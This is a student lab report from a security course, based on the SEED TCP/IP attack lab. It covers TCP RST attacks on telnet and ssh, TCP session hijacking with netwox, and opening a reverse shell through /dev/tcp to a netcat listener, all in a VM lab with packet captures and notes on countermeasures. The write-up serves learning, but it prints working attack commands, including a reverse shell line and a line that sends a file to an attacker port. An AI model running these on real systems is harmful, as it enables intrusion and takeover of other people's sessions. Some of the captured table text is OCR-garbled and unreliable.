# UNIK4250 - Assignment 1

Tanusan Rajmohan - tanusanr@ifi.uio.no

March 2018

## Introduction

This report is based on the TCP/IP attack lab from SEEDlabs.

The different IP addresses are listed below:



Figure 1: Seed (server)

Figure 2: Clone A (user)

Figure 3: Clone B (attacker)

#### 3.2 - Task 2: TCP RST Attacks on telnet and ssh Connections

The commands used in this task are the *telnet* and *ssh* command which allows us to connect to another machine/device by passing the address to connect to. SSH is a cryptographic network protocol for operating network services securely over an unsecured network. Telnet is a protocol used on the Internet or local area networks to provide a bidirectional interactive text-oriented communication facility using a virtual terminal connection. The last command used in this task was *netwox*, which is a tool that resets every TCP session matching a filter. It permits to temporarily block a TCP flow without having to change firewall rules. It also permits to force a renegotiation of session parameters, in order to sniff the beginning of connection.

The command I used in this task was telnet with the ip address: "telnet 10.0.2.4" which let me connect to the server (Seed) from Clone A by typing the username and password for the machine "SEEDUbuntu".

The other command used in this section was: *sudo netwox* 78 –*device* "*eth14*" which let me break the existing telnet connection between Clone A and the server. The feedback on Clone A was "Connection closed by foreign host." and it was not possible to reconnect while Clone B was running netwox.

|   | [02/21/2018 16:02] seed@ubuntu:~\$ telnet 10.0.2.4                      |   |           |  |  |  |  |  |
|---|---|---|-----------|--|--|--|--|--|
|   | Trying 10.0.2.4   |   |           |  |  |  |  |  |
|   | Connected to 10.0.2.4.  |   |           |  |  |  |  |  |
|   | Escape character is '^]'.   |   |           |  |  |  |  |  |
|   | Ubuntu 12.04.2 LTS  |   |           |  |  |  |  |  |
|   | ubuntu login: seed  |   |           |  |  |  |  |  |
|   | Password:   |   |           |  |  |  |  |  |
|   | Last login: Wed Feb 21 05:58  | :40 PST 2018 from ubuntu-3.local on pts/3 |           |  |  |  |  |  |
|   | Welcome to Ubuntu 12.04.2 LT  | S (GNU/Linux 3.5.0-37-generic i686)       |           |  |  |  |  |  |
|   |   |   |           |  |  |  |  |  |
|   | * Documentation: https://he   | elp.ubuntu.com/                           |           |  |  |  |  |  |
|   |   |   |           |  |  |  |  |  |
|   | New release '14.04.1 LTS' av  | allable.                                  |           |  |  |  |  |  |
|   | Run 'do-release-upgrade' to upgrade to it.                              |   |           |  |  |  |  |  |
| 1 | [02/24/2040_07:02] ===doubus  | huu 6 1a                                  |           |  |  |  |  |  |
|   | [02/21/2018 07:02] seed@ubuh  |   | Public .  |  |  |  |  |  |
|   | vesktop examples.desktop openssi_1.0.1-4ubuntu5.11.debian.tar.gz Public |   |           |  |  |  |  |  |
|   | Documents noved.txt   | opensst_1.0.1-4ubuntus.11.dsc             | Temptates |  |  |  |  |  |
|   | Downloads Music   | opensst_1.0.1.ortg.tar.gz                 | videos    |  |  |  |  |  |
|   | Elgguata openssi-1.0.1  | Pictures                                  |           |  |  |  |  |  |
|   | [02/21/2018 07:02] seed@ubun  | tu:~\$                                    |           |  |  |  |  |  |
|   | [02/21/2018 07:04] seed@ubun  | tu:~\$ connection closed by foreign nost. | -         |  |  |  |  |  |
|   | [02/21/2018 16:04] seed@ubun  | tu:~\$ \$                                 |           |  |  |  |  |  |

I also used SSH: "ssh 10.0.2.4" and the "sudo netwox 78 -device "eth14" which broke the connection again, but this time it gave the message "Write failed: Broken pipe" on Clone A, while running netwox on Clone B. When trying to reconnect the error message "ssh: connect to host 10.0.2.4 port 22: Connection reset by peer" occurred.

The attacker generates a forged TCP RST packet using netwox 78 and listens to any packet with the port number 22. When the victim tries to do some work in the observer machine the SSH connection is force terminated by the observer.

| [02/25/2018 13:58] seed@ubuntu:~\$ ssh 10.0.2.4<br>seed@10.0.2.4's password:<br>Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)  |
|--|
| * Documentation: https://help.ubuntu.com/  |
| New release '14.04.1 LTS' available.<br>Run 'do-release-upgrade' to upgrade to it.   |
| Last login: Sun Feb 25 04:46:56 2018 from ubuntu-2.local<br>[02/25/2018 04:58] seed@ubuntu:-\$<br>[02/25/2018 04:58] seed@ubuntu:-\$ Write failed: Broken pipe<br>[02/25/2018 13:58] seed@ubuntu:-\$ ssh 10.0.2.4<br>ssh: connect to host 10.0.2.4 port 22: Connection reset by peer<br>[02/25/2018 13:58] seed@ubuntu:-\$ ℃<br>[02/25/2018 13:58] seed@ubuntu:-\$ ℃ |

The connections got broken on both sessions because the netwox command resets every TCP session. The host does not notice this, but the machine trying to connect gets denied its access. If you look at the image below you can see the TCP actions. The darker lines define when the TCP packets are lost, or when Wireshark missed at least one packet in the other direction. As shown on the picture below the TCP ACKed segment is lost twice in a short time. The reason for this loss is that the attacker or Clone B is running netwox to break the connection. And the reason it got lost 2 times in a short time is because I tried to reconnect but it did not work.

| Capturi   | ing from eth14 [Wiresh   | ark 1.6.7]                       |                                |                 | 📼 no 🖂 📼 👣 🖣                                 | 8:14 AM 👤 Seed 🔱       |
|-----------|--|----------------------------------|--------------------------------|-----------------|--|------------------------|
| Ø         |  | 🖬 🗎 🖉 🗙 C 🚇 I                    | Q 🗲 🤿 🖣                        |                 | ) o o a 🕾 🕁 🖻 💥 📀                            |                        |
|           | Filter: tcp  |                                  | <ul> <li>Expression</li> </ul> | Clear Apply     |  |                        |
|           | No. Time   | Source                           | Destination                    | Protocol Le     | ngth Info                                    |                        |
|           | 214 2018-02-21 0   | 07:04:38.9810.0.2.4              | 10.0.2.5                       | TCP             | 54 telnet > 59616 [RST, ACK] Seg=875 Ack=131 | Win=0 Len=0            |
|           | 217 2018-02-21 6   | 7:04:38.9810.0.2.5               | 10.0.2.4                       | TCP             | 54 59616 > telnet [RST, ACK] Seg=132 Ack=876 | Win=0 Len=0            |
|           | 218 2018-02-21 @   | 07:04:38.9810.0.2.5              | 10.0.2.4                       | TCP             | 54 59616 > telnet [RST, ACK] Seg=132 Ack=876 | Win=0 Len=0            |
|           | 219 2018-02-21 0   | 07:04:38.9810.0.2.4              | 10.0.2.5                       | ТСР             | 54 [TCP ACKed lost segment] telnet > 59616 [ | RST, ACK] Seq=877 Ack  |
| 263       | 220 2018-02-21 0   | 07:04:38.9810.0.2.5              | 10.0.2.4                       | TCP             | 54 59616 > telnet [RST, ACK] Seq=132 Ack=878 | Win=0 Len=0            |
|           | 221 2018-02-21 6   | 07:04:38.9810.0.2.4              | 10.0.2.5                       | TCP             | 54 telnet > 59616 [RST, ACK] Seq=911 Ack=133 | Win=0 Len=0            |
|           | 1596 2018-02-21 6  | 8:14:13.2910.0.2.5               | 91.189.89.144                  | TCP             | 60 51892 > http [FIN, ACK] Seq=1 Ack=1 Win=1 | 5775 Len=0             |
| 102       | 1597 2018-02-21 0  | 8:14:13.291.189.89.144           | 10.0.2.5                       | TCP             | 60 http > 51892 [ACK] Seq=1 Ack=2 Win=32695  | Len=0                  |
| 1.5       | 1598 2018-02-21 6  | 8:14:13.2910.0.2.5               | 91.189.89.144                  | TCP             | 54 [TCP ACKed lost segment] 51892 > http [RS | T, ACK] Seq=2 Ack=2 W  |
|           | 1601 2018-02-21 0  | 8:14:14.4510.0.2.5               | 91.189.94.25                   | TCP             | 74 53299 > http [SYN] Seq=0 Win=14600 Len=0  | MSS=1460 SACK_PERM=1   |
| · ·       | 1602 2018-02-21 6  | 08:14:14.4591.189.94.25          | 10.0.2.5                       | TCP             | 54 http > 53299 [RST, ACK] Seq=1 Ack=1 Win=0 | Len=0                  |
|           | 1603 2018-02-21 6  | 08:14:14.4510.0.2.5              | 91.189.89.144                  | TCP             | 74 51898 > http [SYN] Seq=0 Win=14600 Len=0  | MSS=1460 SACK_PERM=1   |
|           | 1604 2018-02-21 6  | 08:14:14.4591.189.89.144         | 10.0.2.5                       | TCP             | 54 http > 51898 [RST, ACK] Seq=1 Ack=1 Win=0 | Len=0                  |
| $\Lambda$ | 1605 2018-02-21 6  | 08:14:14.491.189.89.144          | 10.0.2.5                       | TCP             | 60 http > 51898 [SYN, ACK] Seq=41890 Ack=1 W | /in=32768 Len=0 MSS=14 |
| 23        | 1606 2018-02-21 6  | 08:14:14.4510.0.2.5              | 91.189.89.144                  | TCP             | 54 51898 > http [RST, ACK] Seq=1 Ack=41891 W | /in=0 Len=0            |
|           | 1607 2018-02-21 6  | 08:14:14.491.189.94.25           | 10.0.2.5                       | TCP             | 60 http > 53299 [SYN, ACK] Seq=24370 Ack=1 W | /in=32768 Len=0 MSS=14 |
|           | 1608 2018-02-21 6  | 08:14:14.5€10.0.2.5              | 91.189.94.25                   | TCP             | 54 53299 > http [RST, ACK] Seq=1 Ack=24371 W | /in=0 Len=0            |
|           | 1609 2018-02-21 6  | 08:14:14.5210.0.2.5              | 91.189.89.144                  | TCP             | 60 51898 > http [RST] Seq=1 Win=0 Len=0      |                        |
|           | 1610 2018-02-21 6  | 08:14:14.5210.0.2.5              | 91.189.94.25                   | TCP             | 60 53299 > http [RST] Seq=1 Win=0 Len=0      |                        |
|           | 1625 2018-02-21 6  | 08:14:36.3910.0.2.4              | 91.189.94.25                   | TCP             | 60 52378 > http [FIN, ACK] Seq=1 Ack=1 Win=1 | .5808 Len=0            |
|           | 1626 2018-02-21 6  | 08:14:36.391.189.94.25           | 10.0.2.4                       | TCP             | 60 http > 52378 [ACK] Seq=1 Ack=2 Win=32695  | Len=0                  |
|           | 1627 2018-02-21 6  | 08:14:36.3510.0.2.4              | 91.189.94.25                   | ТСР             | 54 [TCP ACKed lost segment] 52378 > http [RS | T, ACK] Seq=2 Ack=2 W  |
|           | ▶ Frame 77: 78 bytes   | on wire (624 bits), 78 byte      | s captured (624 bits)          |                 |  |                        |
|           | ▶ Ethernet II, Src: (  | CadmusCo_36:a2:55 (08:00:27:     | 36:a2:55), Dst: Cadmus         | Co_50:03:b8 (08 | :00:27:50:03:b8)                             |                        |
|           | Internet Protocol \  | /ersion 4, Src: 10.0.2.4 (10     | .0.2.4), Dst: 10.0.2.5         | (10.0.2.5)      |  |                        |
|           | ▶ Transmission Contro  | ol Protocol, Src Port: telne     | et (23), Dst Port: 5961        | 6 (59616), Seq: | 1, Ack: 28, Len: 12                          |                        |
|           | ▶ Telnet   |                                  |                                |                 |  |                        |
|           | 0000 08 00 27 50 03  | b8 08 00 27 36 a2 55 08 00       | 9 45 10'P '6.U                 | JE.             |  |                        |
|           | 0010 00 40 37 54 40  | 00 40 06 eb 4b 0a 00 02 04       | 4 0a 00 .@7T@.@K               |                 |  |                        |
|           | 0020 02 05 00 17 e8  | e0 bc 9a 3e 5c 40 f1 8a 1        | > 80 18>\@.                    |                 |  |                        |
|           | 0030 00 72 67 68 00  | 00 01 01 08 0a 00 10 09 2a       | a ee ie .rgh                   |                 |  |                        |
| 100       | 0040 07 38 11 10 18  |                                  | .>                             | •               |  |                        |
| - 100     | 😑 eth14: <live capture="" i<="" td=""><td>n progress&gt; File Packets: 1627 [</td><td>Displayed: 141 Marked: 0</td><td></td><td>Profile</td><td>2: Default</td></live> | n progress> File Packets: 1627 [ | Displayed: 141 Marked: 0       |                 | Profile                                      | 2: Default             |

In the SSH you can also see that the TCP ACKed lost segment in this connection as well when the netwox is called upon by the attacker. This attack also makes Wireshark give out a message marked "TCP Window Update", which simply indicates that the sender's TCP receive buffer space has increased. I also tried to reconnect but Clone A kept getting "Connection reset by peer" message. It is not in the images, but the RST flag also gets set to 1 in both examples.

| 151 2018-02-25 04:58:01 | .5410.0.2.4          | 129.240.2.27      | DNS | 82  | 2 Standard query A videosearch.ubuntu.com                        |
|-------------------------|----------------------|-------------------|-----|-----|--|
| 152 2018-02-25 04:58:01 | .54129.240.2.27      | 10.0.2.4          | DNS | 143 | 3 Standard query response, No such name                          |
| 153 2018-02-25 04:58:01 | .5410.0.2.4          | 129.240.2.27      | DNS | 89  | 9 Standard query A videosearch.ubuntu.com.uio.no                 |
| 154 2018-02-25 04:58:01 | .55129.240.2.27      | 10.0.2.4          | DNS | 140 | 0 Standard query response, No such name                          |
| 155 2018-02-25 04:58:04 | .4110.0.2.5          | 129.240.2.27      | DNS | 82  | 2 Standard query A videosearch.ubuntu.com                        |
| 156 2018-02-25 04:58:04 | .42129.240.2.27      | 10.0.2.5          | DNS | 143 | 3 Standard query response, No such name                          |
| 157 2018-02-25 04:58:04 | .4210.0.2.5          | 129.240.2.27      | DNS | 89  | 9 Standard query A videosearch.ubuntu.com.uio.no                 |
| 158 2018-02-25 04:58:04 | .42129.240.2.27      | 10.0.2.5          | DNS | 140 | 0 Standard query response, No such name                          |
| 159 2018-02-25 04:58:06 | .5€CadmusCo 36:a2:55 | RealtekU 12:35:00 | ARP | 60  | 0 Who has 10.0.2.1? Tell 10.0.2.4                                |
| 160 2018-02-25 04:58:06 | .56RealtekU 12:35:00 | CadmusCo 36:a2:55 | ARP | 60  | 0 10.0.2.1 is at 52:54:00:12:35:00                               |
| 161 2018-02-25 04:58:09 | .3510.0.2.5          | 10.0.2.4          | TCP | 74  | 4 59561 > ssh [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK PERM=1 T |
| 162 2018-02-25 04:58:09 | .3510.0.2.4          | 10.0.2.5          | тср | 54  | 4 ssh > 59561 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0                 |
| 163 2018-02-25 04:58:09 | .3510.0.2.4          | 10.0.2.5          | тср | 74  | 4 ssh > 59561 [SYN, ACK] Seq=2846696960 Ack=1 Win=14480 Len=0 MS |
| 164 2018-02-25 04:58:09 | .3510.0.2.5          | 10.0.2.4          | тср | 54  | 4 59561 > ssh [RST, ACK] Seq=1 Ack=2846696961 Win=0 Len=0        |
| 165 2018-02-25 04:58:09 | .3510.0.2.5          | 10.0.2.4          | ТСР | 66  | 6 [TCP Window Update] 59561 > ssh [ACK] Seq=1 Ack=2846696961 Win |
| 166 2018-02-25 04:58:09 | .3510.0.2.4          | 10.0.2.5          | ТСР | 54  | 4 [TCP ACKed lost segment] ssh > 59561 [RST, ACK] Seq=2846696961 |
| 167 2018-02-25 04:58:09 | .43CadmusCo 50:03:b8 | RealtekU 12:35:00 | ARP | 60  | 0 Who has 10.0.2.1? Tell 10.0.2.5                                |
| 168 2018-02-25 04:58:09 | .43RealtekU 12:35:00 | CadmusCo 50:03:b8 | ARP | 60  | 0 10.0.2.1 is at 52:54:00:12:35:00                               |
| 169 2018-02-25 04:58:17 | .5410.0.2.5          | 10.0.2.4          | ТСР | 74  | 4 59562 > ssh [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK_PERM=1 T |
| 170 2018-02-25 04:58:17 | .5410.0.2.4          | 10.0.2.5          | ТСР | 74  | 4 ssh > 59562 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=0 MSS=1460 SA |
| 171 2018-02-25 04:58:17 | .5410.0.2.5          | 10.0.2.4          | тср | 66  | 6 59562 > ssh [ACK] Seq=1 Ack=1 Win=14720 Len=0 TSval=178728 TSe |
|                         |                      |                   |     |     |  |

| 271 2018-02-25 04:58:38.9810.0.2.4           | 10.0.2.5          | TCP | 54 ssh > 59563 [RST, ACK] Seq=2026 Ack=2243 Win=0 Len=0           |
|--|-------------------|-----|---|
| 272 2018-02-25 04:58:38.99CadmusCo_49:87:7a  | Broadcast         | ARP | 42 Who has 10.0.2.4? Tell 10.0.2.6                                |
| 273 2018-02-25 04:58:38.99 CadmusCo_36:a2:55 | CadmusCo_49:87:7a | ARP | 60 10.0.2.4 is at 08:00:27:36:a2:55                               |
| 274 2018-02-25 04:58:38.9910.0.2.5           | 10.0.2.4          | TCP | 54 59563 > ssh [RST, ACK] Seq=2290 Ack=2027 Win=0 Len=0           |
| 275 2018-02-25 04:58:38.99 10.0.2.4          | 10.0.2.5          | TCP | 54 [TCP ACKed lost segment] ssh > 59563 [RST, ACK] Seq=2074 Ac    |
| 276 2018-02-25 04:58:38.9910.0.2.5           | 10.0.2.4          | TCP | 54 59563 > ssh [RST, ACK] Seq=2290 Ack=2075 Win=0 Len=0 💽         |
| 277 2018-02-25 04:58:38.9910.0.2.4           | 10.0.2.5          | TCP | 54 ssh > 59563 [RST, ACK] Seq=2154 Ack=2291 Win=0 Len=0           |
| 278 2018-02-25 04:58:40.2910.0.2.5           | 10.0.2.4          | TCP | 74 59564 > ssh [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK_PERM=1 T |
| 279 2018-02-25 04:58:40.2910.0.2.4           | 10.0.2.5          | TCP | 54 ssh > 59564 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0                 |
| 280 2018-02-25 04:58:40.2910.0.2.4           | 10.0.2.5          | TCP | 74 ssh > 59564 [SYN, ACK] Seq=3068274761 Ack=1 Win=14480 Len=0 MS |
| 281 2018-02-25 04:58:40.2910.0.2.5           | 10.0.2.4          | TCP | 54 59564 > ssh [RST, ACK] Seq=1 Ack=3068274762 Win=0 Len=0        |
| 282 2018-02-25 04:58:40.2910.0.2.5           | 10.0.2.4          | TCP | 66 [TCP Window Update] 59564 > ssh [ACK] Seq=1 Ack=3068274762 Wir |
| 283 2018-02-25 04:58:40.2910.0.2.4           | 10.0.2.5          | TCP | 54 [TCP ACKed lost segment] ssh > 59564 [RST, ACK] Seg=3068274762 |

The attack can be prevented by using the Internet Protocol Security (IPsec), this is a protocol suite for secure Internet Protocol communications. It works by authenticating and encrypting each IP packet of a communication session. IPsec includes protocols for establishing mutual authentication between agents at the beginning of the session and negotiation of cryptographic keys to be used during the session. IPsec can be used in protecting data flows between a pair of hosts (host-to-host), between a pair of security gateways (network-to-network), or between a security gateway and a host (network-to-host).

It can also be prevented by restricting the wifi access, it is easier to gain access on the same network, rather than spread on different networks.

# 3.4 - Task 4: TCP Session Hijacking

TCP session hijacking is a process in which an attacker can intercept a TCP session between two machines. Since the authentication check is performed only during session initialization the attacker can perform the attack after some duration. The attacker gets the current value of the absolute sequence and acknowledgement number of the TCP session and forges a TCP packet with the next sequence and acknowledgement number and sends it to one of the two machines. The commands used in this task was the same telnet commando as the last task with the same perimeter, just to connect from the observer to the server. Another command I used was: (attacker) "nc (netcat) -l 9090 -v" and then (server) "cat /home/seed/hoved.txt > /dev/tcp/10.0.2.4/9090". This last command was just to get a better understanding on how the session attack works. It basically lets the "hacker" listen in on the port and receive messages put to this port.



[02/27/2018 01:19] seed@ubuntu:~\$ nc -l 9090 -v Connection from 10.0.2.4 port 9090 [tcp/\*] accepted hoved

[02/27/2018 01:21] seed@ubuntu:~\$ cat /home/seed/hoved.txt > /dev/tcp/10.0.2.6/9

Because session hijacking does this without having the server to push messages to this port. I let the *observer* just telnet to the *server* and just wait or do some commands. Then I ran this command from the *attacker*: sudo netwox 40 -l 10.0.2.4 -m 10.0.2.5 -o 57848 -p 23 -q 606 -H "'pwd' 0d0a", I ran this to spoof tcp packets and typing "pwd" just to give a mixed data with the packet. As you can see on the screenshot below the spoof worked and the picture on the left shows that the spoof worked, as you can se on the left colum on the picture. The packet nr is very different from the original messages sent. When the spoof succeeds you can see that the number jumps, because it is not the same order as the original transmissions.

| apconing | filom centre filmer | anark 1.6.7 j                   |                     |          |   |
|----------|---------------------|---------------------------------|---------------------|----------|---|
| 0        | R 🗟 🖉 🖬             | 🕍 i 🖳 🖾 🗙 C 🚇 i 🍳               | . ← → ֏ Ŧ J         |          | 🛢 o o a 🖭 👪 M ங 🔀 🤗   |
|          | Filter: tcp         |                                 | ▼ Expression Clei   | ar Apply |   |
|          | No. Time            | Source                          | Destination         | Protocol | Length Info   |
|          | 1106 2018-02-27     | 10:29:24.7110.0.2.4             | 10.0.2.6            | TCP      | 66 54765 > websm [RST, ACK] Seg=8 Ack=4 Win=14720 Len=0 TSval=738     |
| -        | 1173 2018-02-27     | 10:32:53.5{10.0.2.4             | 10.0.2.5            | TCP      | 54 [TCP ZeroWindow] 57848 > telnet [ <none>] Seq=1 Win=0 Len=0</none> |
|          | 1174 2018-02-27     | 10:33:02.4910.0.2.5             | 10.0.2.4            | TELNET   | 67 Telnet Data  |
|          | 1175 2018-02-27     | 10:33:02.4910.0.2.4             | 10.0.2.5            | TELNET   | 67 Telnet Data  |
| 265      | 1176 2018-02-27     | 10:33:02.4910.0.2.5             | 10.0.2.4            | TCP      | 66 57848 > telnet [ACK] Seq=26 Ack=607 Win=131 Len=0 TSval=78924      |
|          | 1177 2018-02-27     | 10:33:02.7(10.0.2.5             | 10.0.2.4            | TELNET   | 67 Telnet Data  |
|          | 1178 2018-02-27     | 10:33:02.7610.0.2.4             | 10.0.2.5            | TELNET   | 70 Telnet Data  |
| 200      | 1179 2018-02-27     | 10:33:02.7610.0.2.5             | 10.0.2.4            | TCP      | 66 57848 > telnet [ACK] Seq=27 Ack=611 Win=131 Len=0 TSval=789316     |
|          | 1180 2018-02-27     | 10:33:03.1110.0.2.5             | 10.0.2.4            | TELNET   | 67 Telnet Data  |
|          | 1181 2018-02-27     | 10:33:03.1110.0.2.4             | 10.0.2.5            | TELNET   | 67 Telnet Data  |
| >        | 1182 2018-02-27     | 10:33:03.1110.0.2.5             | 10.0.2.4            | TCP      | 66 57848 > telnet [ACK] Seq=28 Ack=612 Win=131 Len=0 TSval=789403     |
| -        | 1183 2018-02-27     | 10:33:03.2510.0.2.5             | 10.0.2.4            | TELNET   | 67 Telnet Data  |
|          | 1184 2018-02-27     | 10:33:03.2510.0.2.4             | 10.0.2.5            | TELNET   | 67 Telnet Data  |
| 1        | 1185 2018-02-27     | 10:33:03.2510.0.2.5             | 10.0.2.4            | TCP      | 66 57848 > telnet [ACK] Seq=29 Ack=613 Win=131 Len=0 TSval=789439     |
|          | 1186 2018-02-27     | 10:33:03.4(10.0.2.5             | 10.0.2.4            | TELNET   | 68 Telnet Data  |
|          | 1187 2018-02-27     | 10:33:03.4710.0.2.4             | 10.0.2.5            | TELNET   | 492 Telnet Data   |
|          | KSnapshot 7         | 10:33:03.4710.0.2.5             | 10.0.2.4            | TCP      | 66 57848 > telnet [ACK] Seq=31 Ack=1039 Win=140 Len=0 TSval=78945     |
|          | 1105 2010-02-27     | 10:33:03.4710.0.2.4             | 10.0.2.5            | TELNET   | 180 Telnet Data   |
| -        | 1190 2018-02-27     | 10:33:03.4710.0.2.5             | 10.0.2.4            | TCP      | 66 57848 > telnet [ACK] Seq=31 Ack=1073 Win=140 Len=0 TSval=78949     |
| · Ci     | 1195 2018-02-27     | 10:33:08.3310.0.2.5             | 10.0.2.4            | TELNET   | 68 Telnet Data  |
|          | 1196 2018-02-27     | 10:33:08.3310.0.2.4             | 10.0.2.5            | TELNET   | 102 Telnet Data   |
|          | 1197 2018-02-27     | 10:33:08.310.0.2.5              | 10.0.2.4            | TCP      | 66 57848 > telnet [ACK] Seq=33 Ack=1109 Win=140 Len=0 TSval=79076     |
|          | 1236 2018-02-27     | 10:34:47.6]10.0.2.4             | 10.0.2.5            | TELNET   | 59 [TCP ZeroWindow] Telnet Data                                       |
|          | 1237 2018-02-27     | 10:34:59.6810.0.2.5             | 10.0.2.4            | TELNET   | 68 Telnet Data  |
|          | vestination port    | : M6D2W (ARAA)                  |                     |          |   |
|          | [Stream index: 2    | 80)                             |                     |          |   |
|          | Sequence number:    | 8 (relative sequence number)    |                     |          |   |
|          | 800 08 80 27 49 8   | 7 7a 08 00 27 36 a2 55 08 00 45 | 00'T.Z '6.UE        |          |   |
| Ö        | 010 00 34 5f 7f 4   | 0 00 40 06 c3 3b 0a 00 02 04 0a | 00 .4 .0.0;         |          |   |
| 0        | 020 02 06 d5 ec 2   | 3 82 61 53 de 82 36 e3 72 78 80 | 11#.aS6.rx.         |          |   |
|          | 030 00 73 95 bf 0   | 0 00 01 01 08 0a 00 09 81 07 00 | 09 .s               |          |   |
| 100      | 848 04 00           |                                 | α.                  |          |   |
| - 18 A   | Stream index (tcp.s | tream) Packets: 1696 Displ      | aved: 245 Marked: 0 |          | Profile: Default  |

[02/27/2018 01:33] seed@ubuntu:~\$ sudo netwox 40 -l 10.0.2.4 -m 10.0.2.5 -o 5784 3 -p 23 -q 606 -H "'pwd' 0d0a"

| IP             |              |         |                  |       |
|----------------|--------------|---------|------------------|-------|
| version  ihl   | tos          | 1       | totlen           |       |
| 45             | 0x00=0       | İ       | 0x002D=45        |       |
| i              | d            | r D M   | offsetfrag       |       |
| 0xEE88         | =61064       | 0000    | 0x0000=0         |       |
| ttl            | protocol     | 1       | checksum         |       |
| 0x00=0         | 0x06=6       | I       | 0xB43A           |       |
|                | SOU          | гсе     |                  |       |
|                | 10.0         | .2.4    |                  |       |
|                | desti        | nation  |                  |       |
|                | 10.0         | .2.5    |                  | 1000  |
| ТСР            |              |         |                  | · /   |
| sourc          | e port       | 1       | destination port | 1 1 1 |
| 0xE1F8         | =57848       | I       | 0x0017=23        |       |
|                | seq          | num     |                  |       |
|                | 0x00000      | 25E=606 |                  |       |
|                | ack          | num     |                  |       |
|                | 0x0000       | 0000=0_ |                  |       |
| doff  r r r r  | CEUAPRSF     | 1       | window           | 1     |
| 5 0 0 0 0      | 000000000000 | I       | 0×0000=0         |       |
| chec           | ksum         | 1       | urgptr           |       |
| 0xD4E4         | =54500       | I       | 0×0000=0         |       |
| 70 77 64 0d 0a |              |         | # pwd            |       |

I used the last sequence number 606 and the src port number 57848 with dst port 25. As you can see on the image below the sequence and acknowledgement number changes from the server to the observer. After the spoofed packet (black line) you can see that the server has a new next sequence number wich get acknowledged on the observers part. But the acknowledge number on the server right after the spoof is the same ack number we sent from the attacker. While the observer has a new next seq number and continues to send data, because it did not notice the spoof.



Session hijacking can be prevented by enabling the protection from the client side. It is recommended that taking preventive measures for the session hijacking on the client side. The users should have efficient antivirus, antimalware software, and should keep the software up to date. There also is another technique which uses a engine that fingerprints all request of a session. In addition to track the IP address, SSL session id and the http header. Each change in the header adds a penality which makes the engine terminate the session when a limit is reached. This is effective because when intrusion occurs, it will have a different http header order.

### 3.5 - Task 5: Creating Reverse Shell using TCP Session Hijacking

In this task I started by using the same telnet commando from the earlier tasks ("telnet 10.0.2.4"). This was just to connect to the server, I could easily have done it straight from the server with the attacker. After this I made the attacker listen with the netcat commando: "nc -l 9090 -v". The attacker just listens until the observer or server types the /bin/bash command so that the attacker gets control over the server/observers shell. The command typed in the observer/shell terminal was: "/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<1 2>1"

This commando let the attacker get shell prompt on his screen, see screenshot below. The attacker could make a file and delete a file since the attacker gained access to their system and shell. More dangerous commands could have been done, rather than deleting files, but this was just for testing purposes. As you can see on the "server side" the attack is not noticeable, there are no information on the victims screen. You can also see that all the commands gets displayed on the attacker screen, so he has full control at this point.



You can also see on the wireshark image below that all the commands get tracked but there are no trace for the victim to see or understand what is going on. Wireshark records all the actions, as shown you can se the "ls" action getting displayed in wireshark. The reason this is happening is because the victim entered a command that starts a bash shell with its input coming from a tcp connection, and its standard and error outputs being redirected to the same tcp connection. And since the attacker listens on port 9090 with the netcat he gets these messages and intercepts to get control.

| Capturi | ing from eth14 [Wireshark 1.6.7]   |  |  |  | 1 1 1 1 1 1 1 1 1 1 1 1 1     |
|---------|--|--|--|--|-------------------------------|
| 0       | (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)  | ) 🔍 🔶 🧇 💲 Ŧ :  |  | i o - c 🖺 🐺 M 🎫 🗙 👔  |                               |
| _       | Filter: tcp  | <ul> <li>Expression Cli</li> </ul>   | ar Apply   |  |                               |
| -       | No. Time Source  | Destination  | Protocol   | Length Info  |                               |
|         | 1642 2018-03-02 17:31:39.3 10.0.2.4  | 10.0.2.6   | TCP  | 68 35346 > websm [PSH, ACK] Seq=36 Ack=4 Win=14720 Len=2 TSval=1903865 TSecr=1839459   |                               |
|         | 1643 2018-03-02 17:31:39.3510.0.2.6  | 10.0.2.4   | TCP  | 66 websm > 35346 [ACK] Seq=4 Ack=38 Win=14592 Len=0 TSval=1839459 TSecr=1903865  |                               |
|         | 1645 2018-03-02 17:31:39.35 10:8.2.4   | 10.0.2.4   | TCP  | 295 35346 > Web5h (PSH, ACA) Segrid ACKM4 ALIMIA728 Lem229 TSY8101903805 TSecre1803959<br>66 yebre > 25365 (ACA) Segrid Ack-267 Min-15616 Lem20 TSys1-1808459 TSecre1003865  |                               |
|         | 1646 2018-03-02 17:31:39.3510.0.2.4  | 10.0.2.6   | TCP  | 100 35346 > websm (PSH, ACK) Seg=267 Ack=4 Win=14720 Len=34 TSval=1903065 TSecr=1839459  |                               |
| 1000    | 1647 2818-03-02 17:31:39.3:10.0.2.6  | 10.0.2.4   | TCP  | 66 websm > 35346 [ACK] Seg=4 Ack=301 Win=15616 Len=0 TSval=1839459 TSecr=1903865   |                               |
|         | 1686 2018-03-02 17:33:36.5410.0.2.6  | 10.0.2.4   | TCP  | 85 websm > 35346 [PSH, ACK] Seq=4 Ack=301 Win=15616 Len=19 TSval=1868746 TSecr=1903865   |                               |
| 224     | 1687 2018-03-02 17:33:36.5410.0.2.4  | 10.0.2.6   | TCP  | 67 35346 > websm [PSH, ACK] Seq=301 Ack=23 Win=14720 Len=1 TSval=1933152 TSecr=1868746   |                               |
|         | 1688 2018-03-02 17:33:36.5410.0.2.6  | 10.0.2.4   | TCP  | 66 websm > 35346 [ACK] Seq=23 ACK=302 Win=15616 Len=0 T5Val=1868747 TSecr=1933152  |                               |
|         | 1609 2018-03-02 17:33:36.5410.0.2.4  | 10.0.2.6   | TCP  | 00 35340 > WEDSH (PSH, ACK) SEQ 302 ACK+23 WIN=14720 LEM=14 T5V8(=1933152 T5ECT=1000747<br>66 Webce > 35346 (4CK) Sec=23 4ck=316 Win=15616 Lem=8 T5va1=1868747 TSecr=1033152 |                               |
| 2-      | 1691 2018-03-02 17:33:36.5410.0.2.4  | 10.0.2.6   | TCP  | 70 35346 > websm [PSH, ACK] Seg=316 Ack=23 Win=14720 Len=4 TSval=1933153 TSecr=1068747   |                               |
